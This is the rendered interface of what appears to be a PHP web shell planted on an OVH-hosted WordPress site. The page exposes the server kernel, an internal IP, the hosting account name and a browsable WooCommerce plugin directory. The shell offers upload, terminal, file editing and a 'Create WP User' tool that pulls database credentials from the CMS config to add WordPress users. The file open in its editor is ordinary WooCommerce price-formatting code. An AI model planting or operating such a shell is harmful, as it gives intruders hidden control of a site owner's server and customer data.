Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat_30102025
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
Email
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
EmailColors.php
3.09 KB
-rw-r--r--
2025-08-13 01:18
EmailFont.php
1.12 KB
-rw-r--r--
2025-08-13 01:18
EmailStyleSync.php
3.76 KB
-rw-r--r--
2025-08-13 01:18
OrderPriceFormatter.php
1.51 KB
-rw-r--r--
2025-08-14 09:58
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
OrderPriceFormatter.php
<?php /** * OrderPriceFormatter class file. */ declare( strict_types = 1 ); namespace Automattic\WooCommerce\Internal\Email; use WC_Abstract_Order; use WC_Order_Item; /** * Helper class for formatting prices in order emails. * * @internal Just for internal use. */ class OrderPriceFormatter { /** * Gets item subtotal - formatted for display in emails. * * @param WC_Abstract_Order $order Order instance. * @param WC_Order_Item $item Item to get unit price from. * @param string $tax_display 'incl' or 'excl' tax display mode. * @return string Formatted item subtotal. */ public static function get_formatted_item_subtotal( WC_Abstract_Order $order, WC_Order_Item $item, string $tax_display ): string { $includes_tax = 'excl' !== $tax_display; $item_subtotal = $order->get_item_subtotal( $item, $includes_tax ); return self::format_price( $order, $item_subtotal, $includes_tax ); } /** * Helper method to format price with or without tax. * * @param WC_Abstract_Order $order Order instance. * @param float $amount The amount to format. * @param bool $includes_tax Whether to include tax in the formatted price. * @return string Formatted price string. */ private static function format_price( WC_Abstract_Order $order, float $amount, bool $includes_tax ): string { return wc_price( $amount, array( 'ex_tax_label' => ( ! $includes_tax && $order->get_prices_include_tax() ) ? 1 : 0, 'currency' => $order->get_currency(), ) ); } }
关闭
保存